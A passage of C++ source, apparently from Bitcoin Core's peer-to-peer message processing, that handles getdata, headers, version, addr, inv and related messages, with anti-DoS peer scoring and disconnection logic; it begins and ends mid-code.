msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx)); push = true; } } if (!push) { vNotFound.push_back(inv); } // Track requests for our stuff. GetMainSignals().Inventory(inv.hash); } } // release cs_main if (it != pfrom->vRecvGetData.end() && !pfrom->fPauseSend) { const CInv &inv = *it; if (inv.type == MSG_BLOCK || inv.type == MSG_FILTERED_BLOCK || inv.type == MSG_CMPCT_BLOCK || inv.type == MSG_WITNESS_BLOCK) { it++; ProcessGetBlockData(pfrom, consensusParams, inv, connman, interruptMsgProc); } } pfrom->vRecvGetData.erase(pfrom->vRecvGetData.begin(), it); if (!vNotFound.empty()) { // Let the peer know that we didn't find what it asked for, so it doesn't // have to wait around forever. Currently only SPV clients actually care // about this message: it's needed when they are recursively walking the // dependencies of relevant unconfirmed transactions. SPV clients want to // do that because they want to know about (and store and rebroadcast and // risk analyze) the dependencies of transactions relevant to them, without // having to download the entire memory pool. connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::NOTFOUND, vNotFound)); } } uint32_t GetFetchFlags(CNode* pfrom) { uint32_t nFetchFlags = 0; if ((pfrom->GetLocalServices() & NODE_WITNESS) && State(pfrom->GetId())->fHaveWitness) { nFetchFlags |= MSG_WITNESS_FLAG; } return nFetchFlags; } inline void static SendBlockTransactions(const CBlock& block, const BlockTransactionsRequest& req, CNode* pfrom, CConnman* connman) { BlockTransactions resp(req); for (size_t i = 0; i < req.indexes.size(); i++) { if (req.indexes[i] >= block.vtx.size()) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 100); LogPrintf("Peer %d sent us a getblocktxn with out-of-bounds tx indices", pfrom->GetId()); return; } resp.txn[i] = block.vtx[req.indexes[i]]; } LOCK(cs_main); const CNetMsgMaker msgMaker(pfrom->GetSendVersion()); int nSendFlags = State(pfrom->GetId())->fWantsCmpctWitness ? 0 : SERIALIZE_TRANSACTION_NO_WITNESS; connman->PushMessage(pfrom, msgMaker.Make(nSendFlags, NetMsgType::BLOCKTXN, resp)); } bool static ProcessHeadersMessage(CNode *pfrom, CConnman *connman, const std::vector<CBlockHeader>& headers, const CChainParams& chainparams, bool punish_duplicate_invalid) { const CNetMsgMaker msgMaker(pfrom->GetSendVersion()); size_t nCount = headers.size(); if (nCount == 0) { // Nothing interesting. Stop asking this peers for more headers. return true; } bool received_new_header = false; const CBlockIndex *pindexLast = nullptr; { LOCK(cs_main); CNodeState *nodestate = State(pfrom->GetId()); // If this looks like it could be a block announcement (nCount < // MAX_BLOCKS_TO_ANNOUNCE), use special logic for handling headers that // don't connect: // - Send a getheaders message in response to try to connect the chain. // - The peer can send up to MAX_UNCONNECTING_HEADERS in a row that // don't connect before giving DoS points // - Once a headers message is received that is valid and does connect, // nUnconnectingHeaders gets reset back to 0. if (mapBlockIndex.find(headers[0].hashPrevBlock) == mapBlockIndex.end() && nCount < MAX_BLOCKS_TO_ANNOUNCE) { nodestate->nUnconnectingHeaders++; connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETHEADERS, chainActive.GetLocator(pindexBestHeader), uint256())); LogPrint(BCLog::NET, "received header %s: missing prev block %s, sending getheaders (%d) to end (peer=%d, nUnconnectingHeaders=%d)\n", headers[0].GetHash().ToString(), headers[0].hashPrevBlock.ToString(), pindexBestHeader->nHeight, pfrom->GetId(), nodestate->nUnconnectingHeaders); // Set hashLastUnknownBlock for this peer, so that if we // eventually get the headers - even from a different peer - // we can use this peer to download. UpdateBlockAvailability(pfrom->GetId(), headers.back().GetHash()); if (nodestate->nUnconnectingHeaders % MAX_UNCONNECTING_HEADERS == 0) { Misbehaving(pfrom->GetId(), 20); } return true; } uint256 hashLastBlock; for (const CBlockHeader& header : headers) { if (!hashLastBlock.IsNull() && header.hashPrevBlock != hashLastBlock) { Misbehaving(pfrom->GetId(), 20); return error("non-continuous headers sequence"); } hashLastBlock = header.GetHash(); } // If we don't have the last header, then they'll have given us // something new (if these headers are valid). if (mapBlockIndex.find(hashLastBlock) == mapBlockIndex.end()) { received_new_header = true; } } CValidationState state; CBlockHeader first_invalid_header; if (!ProcessNewBlockHeaders(headers, state, chainparams, &pindexLast, &first_invalid_header)) { int nDoS; if (state.IsInvalid(nDoS)) { LOCK(cs_main); if (nDoS > 0) { Misbehaving(pfrom->GetId(), nDoS); } if (punish_duplicate_invalid && mapBlockIndex.find(first_invalid_header.GetHash()) != mapBlockIndex.end()) { // Goal: don't allow outbound peers to use up our outbound // connection slots if they are on incompatible chains. // // We ask the caller to set punish_invalid appropriately based // on the peer and the method of header delivery (compact // blocks are allowed to be invalid in some circumstances, // under BIP 152). // Here, we try to detect the narrow situation that we have a // valid block header (ie it was valid at the time the header // was received, and hence stored in mapBlockIndex) but know the // block is invalid, and that a peer has announced that same // block as being on its active chain. // Disconnect the peer in such a situation. // // Note: if the header that is invalid was not accepted to our // mapBlockIndex at all, that may also be grounds for // disconnecting the peer, as the chain they are on is likely // to be incompatible. However, there is a circumstance where // that does not hold: if the header's timestamp is more than // 2 hours ahead of our current time. In that case, the header // may become valid in the future, and we don't want to // disconnect a peer merely for serving us one too-far-ahead // block header, to prevent an attacker from splitting the // network by mining a block right at the 2 hour boundary. // // TODO: update the DoS logic (or, rather, rewrite the // DoS-interface between validation and net_processing) so that // the interface is cleaner, and so that we disconnect on all the // reasons that a peer's headers chain is incompatible // with ours (eg block->nVersion softforks, MTP violations, // etc), and not just the duplicate-invalid case. pfrom->fDisconnect = true; } return error("invalid header received"); } } { LOCK(cs_main); CNodeState *nodestate = State(pfrom->GetId()); if (nodestate->nUnconnectingHeaders > 0) { LogPrint(BCLog::NET, "peer=%d: resetting nUnconnectingHeaders (%d -> 0)\n", pfrom->GetId(), nodestate->nUnconnectingHeaders); } nodestate->nUnconnectingHeaders = 0; assert(pindexLast); UpdateBlockAvailability(pfrom->GetId(), pindexLast->GetBlockHash()); // From here, pindexBestKnownBlock should be guaranteed to be non-null, // because it is set in UpdateBlockAvailability. Some nullptr checks // are still present, however, as belt-and-suspenders. if (received_new_header && pindexLast->nChainWork > chainActive.Tip()->nChainWork) { nodestate->m_last_block_announcement = GetTime(); } if (nCount == MAX_HEADERS_RESULTS) { // Headers message had its maximum size; the peer may have more headers. // TODO: optimize: if pindexLast is an ancestor of chainActive.Tip or pindexBestHeader, continue // from there instead. LogPrint(BCLog::NET, "more getheaders (%d) to end to peer=%d (startheight:%d)\n", pindexLast->nHeight, pfrom->GetId(), pfrom->nStartingHeight); connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETHEADERS, chainActive.GetLocator(pindexLast), uint256())); } bool fCanDirectFetch = CanDirectFetch(chainparams.GetConsensus()); // If this set of headers is valid and ends in a block with at least as // much work as our tip, download as much as possible. if (fCanDirectFetch && pindexLast->IsValid(BLOCK_VALID_TREE) && chainActive.Tip()->nChainWork <= pindexLast->nChainWork) { std::vector<const CBlockIndex*> vToFetch; const CBlockIndex *pindexWalk = pindexLast; // Calculate all the blocks we'd need to switch to pindexLast, up to a limit. while (pindexWalk && !chainActive.Contains(pindexWalk) && vToFetch.size() <= MAX_BLOCKS_IN_TRANSIT_PER_PEER) { if (!(pindexWalk->nStatus & BLOCK_HAVE_DATA) && !mapBlocksInFlight.count(pindexWalk->GetBlockHash()) && (!IsWitnessEnabled(pindexWalk->pprev, chainparams.GetConsensus()) || State(pfrom->GetId())->fHaveWitness)) { // We don't have this block, and it's not yet in flight. vToFetch.push_back(pindexWalk); } pindexWalk = pindexWalk->pprev; } // If pindexWalk still isn't on our main chain, we're looking at a // very large reorg at a time we think we're close to caught up to // the main chain -- this shouldn't really happen. Bail out on the // direct fetch and rely on parallel download instead. if (!chainActive.Contains(pindexWalk)) { LogPrint(BCLog::NET, "Large reorg, won't direct fetch to %s (%d)\n", pindexLast->GetBlockHash().ToString(), pindexLast->nHeight); } else { std::vector<CInv> vGetData; // Download as much as possible, from earliest to latest. for (const CBlockIndex *pindex : reverse_iterate(vToFetch)) { if (nodestate->nBlocksInFlight >= MAX_BLOCKS_IN_TRANSIT_PER_PEER) { // Can't download any more from this peer break; } uint32_t nFetchFlags = GetFetchFlags(pfrom); vGetData.push_back(CInv(MSG_BLOCK | nFetchFlags, pindex->GetBlockHash())); MarkBlockAsInFlight(pfrom->GetId(), pindex->GetBlockHash(), pindex); LogPrint(BCLog::NET, "Requesting block %s from peer=%d\n", pindex->GetBlockHash().ToString(), pfrom->GetId()); } if (vGetData.size() > 1) { LogPrint(BCLog::NET, "Downloading blocks toward %s (%d) via headers direct fetch\n", pindexLast->GetBlockHash().ToString(), pindexLast->nHeight); } if (vGetData.size() > 0) { if (nodestate->fSupportsDesiredCmpctVersion && vGetData.size() == 1 && mapBlocksInFlight.size() == 1 && pindexLast->pprev->IsValid(BLOCK_VALID_CHAIN)) { // In any case, we want to download using a compact block, not a regular one vGetData[0] = CInv(MSG_CMPCT_BLOCK, vGetData[0].hash); } connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETDATA, vGetData)); } } } // If we're in IBD, we want outbound peers that will serve us a useful // chain. Disconnect peers that are on chains with insufficient work. if (IsInitialBlockDownload() && nCount != MAX_HEADERS_RESULTS) { // When nCount < MAX_HEADERS_RESULTS, we know we have no more // headers to fetch from this peer. if (nodestate->pindexBestKnownBlock && nodestate->pindexBestKnownBlock->nChainWork < nMinimumChainWork) { // This peer has too little work on their headers chain to help // us sync -- disconnect if using an outbound slot (unless // whitelisted or addnode). // Note: We compare their tip to nMinimumChainWork (rather than // chainActive.Tip()) because we won't start block download // until we have a headers chain that has at least // nMinimumChainWork, even if a peer has a chain past our tip, // as an anti-DoS measure. if (IsOutboundDisconnectionCandidate(pfrom)) { LogPrintf("Disconnecting outbound peer %d -- headers chain has insufficient work\n", pfrom->GetId()); pfrom->fDisconnect = true; } } } if (!pfrom->fDisconnect && IsOutboundDisconnectionCandidate(pfrom) && nodestate->pindexBestKnownBlock != nullptr) { // If this is an outbound peer, check to see if we should protect // it from the bad/lagging chain logic. if (g_outbound_peers_with_protect_from_disconnect < MAX_OUTBOUND_PEERS_TO_PROTECT_FROM_DISCONNECT && nodestate->pindexBestKnownBlock->nChainWork >= chainActive.Tip()->nChainWork && !nodestate->m_chain_sync.m_protect) { LogPrint(BCLog::NET, "Protecting outbound peer=%d from eviction\n", pfrom->GetId()); nodestate->m_chain_sync.m_protect = true; ++g_outbound_peers_with_protect_from_disconnect; } } } return true; } bool static ProcessMessage(CNode* pfrom, const std::string& strCommand, CDataStream& vRecv, int64_t nTimeReceived, const CChainParams& chainparams, CConnman* connman, const std::atomic<bool>& interruptMsgProc) { LogPrint(BCLog::NET, "received: %s (%u bytes) peer=%d\n", SanitizeString(strCommand), vRecv.size(), pfrom->GetId()); if (gArgs.IsArgSet("-dropmessagestest") && GetRand(gArgs.GetArg("-dropmessagestest", 0)) == 0) { LogPrintf("dropmessagestest DROPPING RECV MESSAGE\n"); return true; } if (!(pfrom->GetLocalServices() & NODE_BLOOM) && (strCommand == NetMsgType::FILTERLOAD || strCommand == NetMsgType::FILTERADD)) { if (pfrom->nVersion >= NO_BLOOM_VERSION) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 100); return false; } else { pfrom->fDisconnect = true; return false; } } if (strCommand == NetMsgType::REJECT) { if (LogAcceptCategory(BCLog::NET)) { try { std::string strMsg; unsigned char ccode; std::string strReason; vRecv >> LIMITED_STRING(strMsg, CMessageHeader::COMMAND_SIZE) >> ccode >> LIMITED_STRING(strReason, MAX_REJECT_MESSAGE_LENGTH); std::ostringstream ss; ss << strMsg << " code " << itostr(ccode) << ": " << strReason; if (strMsg == NetMsgType::BLOCK || strMsg == NetMsgType::TX) { uint256 hash; vRecv >> hash; ss << ": hash " << hash.ToString(); } LogPrint(BCLog::NET, "Reject %s\n", SanitizeString(ss.str())); } catch (const std::ios_base::failure&) { // Avoid feedback loops by preventing reject messages from triggering a new reject message. LogPrint(BCLog::NET, "Unparseable reject message received\n"); } } } else if (strCommand == NetMsgType::VERSION) { // Each connection can only send one version message if (pfrom->nVersion != 0) { connman->PushMessage(pfrom, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::REJECT, strCommand, REJECT_DUPLICATE, std::string("Duplicate version message"))); LOCK(cs_main); Misbehaving(pfrom->GetId(), 1); return false; } int64_t nTime; CAddress addrMe; CAddress addrFrom; uint64_t nNonce = 1; uint64_t nServiceInt; ServiceFlags nServices; int nVersion; int nSendVersion; std::string strSubVer; std::string cleanSubVer; int nStartingHeight = -1; bool fRelay = true; vRecv >> nVersion >> nServiceInt >> nTime >> addrMe; nSendVersion = std::min(nVersion, PROTOCOL_VERSION); nServices = ServiceFlags(nServiceInt); if (!pfrom->fInbound) { connman->SetServices(pfrom->addr, nServices); } if (!pfrom->fInbound && !pfrom->fFeeler && !pfrom->m_manual_connection && !HasAllDesirableServiceFlags(nServices)) { LogPrint(BCLog::NET, "peer=%d does not offer the expected services (%08x offered, %08x expected); disconnecting\n", pfrom->GetId(), nServices, GetDesirableServiceFlags(nServices)); connman->PushMessage(pfrom, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::REJECT, strCommand, REJECT_NONSTANDARD, strprintf("Expected to offer services %08x", GetDesirableServiceFlags(nServices)))); pfrom->fDisconnect = true; return false; } if (nServices & ((1 << 7) | (1 << 5))) { if (GetTime() < 1533096000) { // Immediately disconnect peers that use service bits 6 or 8 until August 1st, 2018 // These bits have been used as a flag to indicate that a node is running incompatible // consensus rules instead of changing the network magic, so we're stuck disconnecting // based on these service bits, at least for a while. pfrom->fDisconnect = true; return false; } } if (nVersion < MIN_PEER_PROTO_VERSION) { // disconnect from peers older than this proto version LogPrint(BCLog::NET, "peer=%d using obsolete version %i; disconnecting\n", pfrom->GetId(), nVersion); connman->PushMessage(pfrom, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::REJECT, strCommand, REJECT_OBSOLETE, strprintf("Version must be %d or greater", MIN_PEER_PROTO_VERSION))); pfrom->fDisconnect = true; return false; } if (nVersion == 10300) nVersion = 300; if (!vRecv.empty()) vRecv >> addrFrom >> nNonce; if (!vRecv.empty()) { vRecv >> LIMITED_STRING(strSubVer, MAX_SUBVERSION_LENGTH); cleanSubVer = SanitizeString(strSubVer); } if (!vRecv.empty()) { vRecv >> nStartingHeight; } if (!vRecv.empty()) vRecv >> fRelay; // Disconnect if we connected to ourself if (pfrom->fInbound && !connman->CheckIncomingNonce(nNonce)) { LogPrintf("connected to self at %s, disconnecting\n", pfrom->addr.ToString()); pfrom->fDisconnect = true; return true; } if (pfrom->fInbound && addrMe.IsRoutable()) { SeenLocal(addrMe); } // Be shy and don't send version until we hear if (pfrom->fInbound) PushNodeVersion(pfrom, connman, GetAdjustedTime()); connman->PushMessage(pfrom, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::VERACK)); pfrom->nServices = nServices; pfrom->SetAddrLocal(addrMe); { LOCK(pfrom->cs_SubVer); pfrom->strSubVer = strSubVer; pfrom->cleanSubVer = cleanSubVer; } pfrom->nStartingHeight = nStartingHeight; pfrom->fClient = !(nServices & NODE_NETWORK); { LOCK(pfrom->cs_filter); pfrom->fRelayTxes = fRelay; // set to true after we get the first filter* message } // Change version pfrom->SetSendVersion(nSendVersion); pfrom->nVersion = nVersion; if((nServices & NODE_WITNESS)) { LOCK(cs_main); State(pfrom->GetId())->fHaveWitness = true; } // Potentially mark this peer as a preferred download peer. { LOCK(cs_main); UpdatePreferredDownload(pfrom, State(pfrom->GetId())); } if (!pfrom->fInbound) { // Advertise our address if (fListen && !IsInitialBlockDownload()) { CAddress addr = GetLocalAddress(&pfrom->addr, pfrom->GetLocalServices()); FastRandomContext insecure_rand; if (addr.IsRoutable()) { LogPrint(BCLog::NET, "ProcessMessages: advertising address %s\n", addr.ToString()); pfrom->PushAddress(addr, insecure_rand); } else if (IsPeerAddrLocalGood(pfrom)) { addr.SetIP(addrMe); LogPrint(BCLog::NET, "ProcessMessages: advertising address %s\n", addr.ToString()); pfrom->PushAddress(addr, insecure_rand); } } // Get recent addresses if (pfrom->fOneShot || pfrom->nVersion >= CADDR_TIME_VERSION || connman->GetAddressCount() < 1000) { connman->PushMessage(pfrom, CNetMsgMaker(nSendVersion).Make(NetMsgType::GETADDR)); pfrom->fGetAddr = true; } connman->MarkAddressGood(pfrom->addr); } std::string remoteAddr; if (fLogIPs) remoteAddr = ", peeraddr=" + pfrom->addr.ToString(); LogPrint(BCLog::NET, "receive version message: %s: version %d, blocks=%d, us=%s, peer=%d%s\n", cleanSubVer, pfrom->nVersion, pfrom->nStartingHeight, addrMe.ToString(), pfrom->GetId(), remoteAddr); int64_t nTimeOffset = nTime - GetTime(); pfrom->nTimeOffset = nTimeOffset; AddTimeData(pfrom->addr, nTimeOffset); // If the peer is old enough to have the old alert system, send it the final alert. if (pfrom->nVersion <= 70012) { CDataStream finalAlert(ParseHex("5c0100000015f7675900000000ffffff7f00000000ffffff7ffeffff7f0000000000ffffff7f00ffffff7f002f555247454e543a20416c657274206b657920636f6d70726f6d697365642c2075706772616465207265717569726564004630440220405f7e7572b176f3316d4e12deab75ad4ff978844f7a7bcd5ed06f6aa094eb6602207880fcc07d0a78e0f46f188d115e04ed4ad48980ea3572cb0e0cb97921048095"), SER_NETWORK, PROTOCOL_VERSION); connman->PushMessage(pfrom, CNetMsgMaker(nSendVersion).Make("alert", finalAlert)); } // Feeler connections exist only to verify if address is online. if (pfrom->fFeeler) { assert(pfrom->fInbound == false); pfrom->fDisconnect = true; } return true; } else if (pfrom->nVersion == 0) { // Must have a version message before anything else LOCK(cs_main); Misbehaving(pfrom->GetId(), 1); return false; } // At this point, the outgoing message serialization version can't change. const CNetMsgMaker msgMaker(pfrom->GetSendVersion()); if (strCommand == NetMsgType::VERACK) { pfrom->SetRecvVersion(std::min(pfrom->nVersion.load(), PROTOCOL_VERSION)); if (!pfrom->fInbound) { // Mark this node as currently connected, so we update its timestamp later. LOCK(cs_main); State(pfrom->GetId())->fCurrentlyConnected = true; LogPrintf("New outbound peer connected: version: %d, blocks=%d, peer=%d%s\n", pfrom->nVersion.load(), pfrom->nStartingHeight, pfrom->GetId(), (fLogIPs ? strprintf(", peeraddr=%s", pfrom->addr.ToString()) : "")); } if (pfrom->nVersion >= SENDHEADERS_VERSION) { // Tell our peer we prefer to receive headers rather than inv's // We send this to non-NODE NETWORK peers as well, because even // non-NODE NETWORK peers can announce blocks (such as pruning // nodes) connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::SENDHEADERS)); } if (pfrom->nVersion >= SHORT_IDS_BLOCKS_VERSION) { // Tell our peer we are willing to provide version 1 or 2 cmpctblocks // However, we do not request new block announcements using // cmpctblock messages. // We send this to non-NODE NETWORK peers as well, because // they may wish to request compact blocks from us bool fAnnounceUsingCMPCTBLOCK = false; uint64_t nCMPCTBLOCKVersion = 2; if (pfrom->GetLocalServices() & NODE_WITNESS) connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::SENDCMPCT, fAnnounceUsingCMPCTBLOCK, nCMPCTBLOCKVersion)); nCMPCTBLOCKVersion = 1; connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::SENDCMPCT, fAnnounceUsingCMPCTBLOCK, nCMPCTBLOCKVersion)); } pfrom->fSuccessfullyConnected = true; } else if (!pfrom->fSuccessfullyConnected) { // Must have a verack message before anything else LOCK(cs_main); Misbehaving(pfrom->GetId(), 1); return false; } else if (strCommand == NetMsgType::ADDR) { std::vector<CAddress> vAddr; vRecv >> vAddr; // Don't want addr from older versions unless seeding if (pfrom->nVersion < CADDR_TIME_VERSION && connman->GetAddressCount() > 1000) return true; if (vAddr.size() > 1000) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 20); return error("message addr size() = %u", vAddr.size()); } // Store the new addresses std::vector<CAddress> vAddrOk; int64_t nNow = GetAdjustedTime(); int64_t nSince = nNow - 10 * 60; for (CAddress& addr : vAddr) { if (interruptMsgProc) return true; // We only bother storing full nodes, though this may include // things which we would not make an outbound connection to, in // part because we may make feeler connections to them. if (!MayHaveUsefulAddressDB(addr.nServices)) continue; if (addr.nTime <= 100000000 || addr.nTime > nNow + 10 * 60) addr.nTime = nNow - 5 * 24 * 60 * 60; pfrom->AddAddressKnown(addr); bool fReachable = IsReachable(addr); if (addr.nTime > nSince && !pfrom->fGetAddr && vAddr.size() <= 10 && addr.IsRoutable()) { // Relay to a limited number of other nodes RelayAddress(addr, fReachable, connman); } // Do not store addresses outside our network if (fReachable) vAddrOk.push_back(addr); } connman->AddNewAddresses(vAddrOk, pfrom->addr, 2 * 60 * 60); if (vAddr.size() < 1000) pfrom->fGetAddr = false; if (pfrom->fOneShot) pfrom->fDisconnect = true; } else if (strCommand == NetMsgType::SENDHEADERS) { LOCK(cs_main); State(pfrom->GetId())->fPreferHeaders = true; } else if (strCommand == NetMsgType::SENDCMPCT) { bool fAnnounceUsingCMPCTBLOCK = false; uint64_t nCMPCTBLOCKVersion = 0; vRecv >> fAnnounceUsingCMPCTBLOCK >> nCMPCTBLOCKVersion; if (nCMPCTBLOCKVersion == 1 || ((pfrom->GetLocalServices() & NODE_WITNESS) && nCMPCTBLOCKVersion == 2)) { LOCK(cs_main); // fProvidesHeaderAndIDs is used to "lock in" version of compact blocks we send (fWantsCmpctWitness) if (!State(pfrom->GetId())->fProvidesHeaderAndIDs) { State(pfrom->GetId())->fProvidesHeaderAndIDs = true; State(pfrom->GetId())->fWantsCmpctWitness = nCMPCTBLOCKVersion == 2; } if (State(pfrom->GetId())->fWantsCmpctWitness == (nCMPCTBLOCKVersion == 2)) // ignore later version announces State(pfrom->GetId())->fPreferHeaderAndIDs = fAnnounceUsingCMPCTBLOCK; if (!State(pfrom->GetId())->fSupportsDesiredCmpctVersion) { if (pfrom->GetLocalServices() & NODE_WITNESS) State(pfrom->GetId())->fSupportsDesiredCmpctVersion = (nCMPCTBLOCKVersion == 2); else State(pfrom->GetId())->fSupportsDesiredCmpctVersion = (nCMPCTBLOCKVersion == 1); } } } else if (strCommand == NetMsgType::INV) { std::vector<CInv> vInv; vRecv >> vInv; if (vInv.size() > MAX_INV_SZ) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 20); return error("message inv size() = %u", vInv.size()); } bool fBlocksOnly = !fRelayTxes; // Allow whitelisted peers to send data other than blocks in blocks only mode if whitelistrelay is true if (pfrom->fWhitelisted && gArgs.GetBoolArg("-whitelistrelay", DEFAULT_WHITELISTRELAY)) fBlocksOnly = false; LOCK(cs_main); uint32_t nFetchFlags = GetFetchFlags(pfrom); for (CInv &inv : vInv) { if (interruptMsgProc) return true; bool fAlreadyHave = AlreadyHave(inv); LogPrint(BCLog::NET, "got inv: %s %s peer=%d\n", inv.ToString(), fAlreadyHave ? "have" : "new", pfrom->GetId()); if (inv.type == MSG_TX) { inv.type |= nFetchFlags; } if (inv.type == MSG_BLOCK) { UpdateBlockAvailability(pfrom->GetId(), inv.hash); if (!fAlreadyHave && !fImporting && !fReindex && !mapBlocksInFlight.count(inv.hash)) { // We used to request the full block here, but since headers-announcements are now the // primary method of announcement on the network, and since, in the case that a node // fell back to inv we probably have a reorg which we should get the headers for first, // we now only provide a getheaders response here. When we receive the headers, we will // then ask for the blocks we need. connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETHEADERS, chainActive.GetLocator(pindexBestHeader), inv.hash)); LogPrint(BCLog::NET, "getheaders (%d) %s to peer=%d\n", pindexBestHeader->nHeight, inv.hash.ToString(), pfrom->GetId()); } } else { pfrom->AddInventoryKnown(inv); if (fBlocksOnly) { LogPrint(BCLog::NET, "transaction (%s) inv sent in violation of protocol peer=%d\n", inv.hash.ToString(), pfrom->GetId()); } else if (!fAlreadyHave && !fImporting && !fReindex && !IsInitialBlockDownload()) { pfrom->AskFor(inv); } } // Track requests for our stuff GetMainSignals().Inventory(inv.hash); } } else if (strCommand == NetMsgType::GETDATA) { std::vector<CInv> vInv; vRecv >> vInv; if (vInv.size() > MAX_INV_SZ) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 20); return error("message getdata size() = %u", vInv.size()); } LogPrint(BCLog::NET, "received getdata (%u invsz) peer=%d\n", vInv.size(), pfrom->GetId()); if (vInv.size() > 0) { LogPrint(BCLog::NET, "received getdata for: %s peer=%d\n", vInv[0].ToString(), pfrom->GetId()); } pfrom->vRecvGetData.insert(pfrom->vRecvGetData.end(), vInv.begin(), vInv.end()); ProcessGetData(pfrom, chainparams.GetConsensus(), connman, interruptMsgProc); } else if (strCommand == NetMsgType::GETBLOCKS) { CBlockLocator locator; uint256 hashStop; vRecv >> locator >> hashStop; // We might have announced the currently-being-connected tip using a // compact block, which resulted in the peer sending a getblocks // request, which we would otherwise respond to without the new block. // To avoid this situation we simply verify that we are on our best // known chain now. This is super overkill, but we handle it better // for getheaders requests, and there are no known nodes which support // compact blocks but still use getblocks to request blocks. { std::shared_ptr<const CBlock> a_recent_block; { LOCK(cs_most_recent_block); a_recent_block = most_recent_block; } CValidationState dummy; ActivateBestChain(dummy, Params(), a_recent_block); } LOCK(cs_main); // Find the last block the caller has in the main chain const CBlockIndex* pindex = FindForkInGlobalIndex(chainActive, locator); // Send the rest of the chain if (pindex) pindex = chainActive.Next(pindex); int nLimit = 500; LogPrint(BCLog::NET, "getblocks %d to %s limit %d from peer=%d\n", (pindex ? pindex->nHeight : -1), hashStop.IsNull() ? "end" : hashStop.ToString(), nLimit, pfrom->GetId()); for (; pindex; pindex = chainActive.Next(pindex)) { if (pindex->GetBlockHash() == hashStop) { LogPrint(BCLog::NET, " getblocks stopping at %d %s\n", pindex->nHeight, pindex->GetBlockHash().ToString()); break; } // If pruning, don't inv blocks unless we have on disk and are likely to still have // for some reasonable time window (1 hour) that block relay might require. const int nPrunedBlocksLikelyToHave = MIN_BLOCKS_TO_KEEP - 3600 / chainparams.GetConsensus().nPowTargetSpacing; if (fPruneMode && (!(pindex->nStatus & BLOCK_HAVE_DATA) || pindex->nHeight <= chainActive.Tip()->nHeight - nPrunedBlocksLikelyToHave)) { LogPrint(BCLog::NET, " getblocks stopping, pruned or too old block at %d %s\n", pindex->nHeight, pindex->GetBlockHash().ToString()); break; } pfrom->PushInventory(CInv(MSG_BLOCK, pindex->GetBlockHash())); if (--nLimit <= 0) { // When this block is requested, we'll send an inv that'll // trigger the peer to getblocks the next batch of inventory. LogPrint(BCLog::NET, " getblocks stopping at limit %d %s\n", pindex->nHeight, pindex->GetBlockHash().ToString()); pfrom->hashContinue = pindex->GetBlockHash(); break; } } } else if (strCommand == NetMsgType::GETBLOCKTXN) { BlockTransactionsRequest req; vRecv >> req; std::shared_ptr<const CBlock> recent_block; { LOCK(cs_most_recent_block); if (most_recent_block_hash == req.blockhash) recent_block = most_recent_block; // Unlock cs_most_recent_block to avoid cs_main lock inversion } if (recent_block) { SendBlockTransactions(*recent_block, req, pfrom, connman); return true; } LOCK(cs_main); BlockMap::iterator it = mapBlockIndex.find(req.blockhash); if (it == mapBlockIndex.end() || !(it->second->nStatus & BLOCK_HAVE_DATA)) { LogPrint(BCLog::NET, "Peer %d sent us a getblocktxn for a block we don't have", pfrom->GetId()); return true; } if (it->second->nHeight < chainActive.Height() - MAX_BLOCKTXN_DEPTH) { // If an older block is requested (should never happen in practice, // but can happen in tests) send a block response instead of a // blocktxn response. Sending a full block response instead of a // small blocktxn response is preferable in the case where a peer // might maliciously send lots of getblocktxn requests to trigger // expensive disk reads, because it will require the peer to // actually receive all the data read from disk over the network. LogPrint(BCLog::NET, "Peer %d sent us a getblocktxn for a block > %i deep", pfrom->GetId(), MAX_BLOCKTXN_DEPTH); CInv inv; inv.type = State(pfrom->GetId())->fWantsCmpctWitness ? MSG_WITNESS_BLOCK : MSG_BLOCK; inv.hash = req.blockhash; pfrom->vRecvGetData.push_back(inv); // The message processing loop will go around again (without pausing) and we'll respond then (without cs_main) return true; } CBlock block; bool ret = ReadBlockFromDisk(block, it->second, chainparams.GetConsensus()); assert(ret); SendBlockTransactions(block, req, pfrom, connman); } else if (strCommand == NetMsgType::GETHEADERS) { CBlockLocator locator; uint256 hashStop; vRecv >> locator >> hashStop; LOCK(cs_main); if (IsInitialBlockDownload() && !pfrom->fWhitelisted) { LogPrint(BCLog::NET, "Ignoring getheaders from peer=%d because node is in initial block download\n", pfrom->GetId()); return true; } CNodeState *nodestate = State(pfrom->GetId()); const CBlockIndex* pindex = nullptr; if (locator.IsNull()) { // If locator is null, return the hashStop block BlockMap::iterator mi = mapBlockIndex.find(hashStop); if (mi == mapBlockIndex.end()) return true; pindex = (*mi).second; if (!BlockRequestAllowed(pindex, chainparams.GetConsensus())) { LogPrint(BCLog::NET, "%s: ignoring request from peer=%i for old block header that isn't in the main chain\n", __func__, pfrom->GetId()); return true; } } else { // Find the last block the caller has in the main chain pindex = FindForkInGlobalIndex(chainActive, locator); if (pindex) pindex = chainActive.Next(pindex); } // we must use CBlocks, as CBlockHeaders won't include the 0x00 nTx count at the end std::vector<CBlock> vHeaders; int nLimit = MAX_HEADERS_RESULTS; LogPrint(BCLog::NET, "getheaders %d to %s from peer=%d\n", (pindex ? pindex->nHeight : -1), hashStop.IsNull() ? "end" : hashStop.ToString(), pfrom->GetId()); for (; pindex; pindex = chainActive.Next(pindex)) { vHeaders.push_back(pindex->GetBlockHeader()); if (--nLimit <= 0 || pindex->GetBlockHash() == hashStop) break; } // pindex can be nullptr either if we sent chainActive.Tip() OR // if our peer has chainActive.Tip() (and thus we are sending an empty // headers message). In both cases it's safe to update // pindexBestHeaderSent to be our tip. // // It is important that we simply reset the BestHeaderSent value here, // and not max(BestHeaderSent, newHeaderSent). We might have announced // the currently-being-connected tip using a compact block, which // resulted in the peer sending a headers request, which we respond to // without the new block. By resetting the BestHeaderSent, we ensure we // will re-announce the new block via 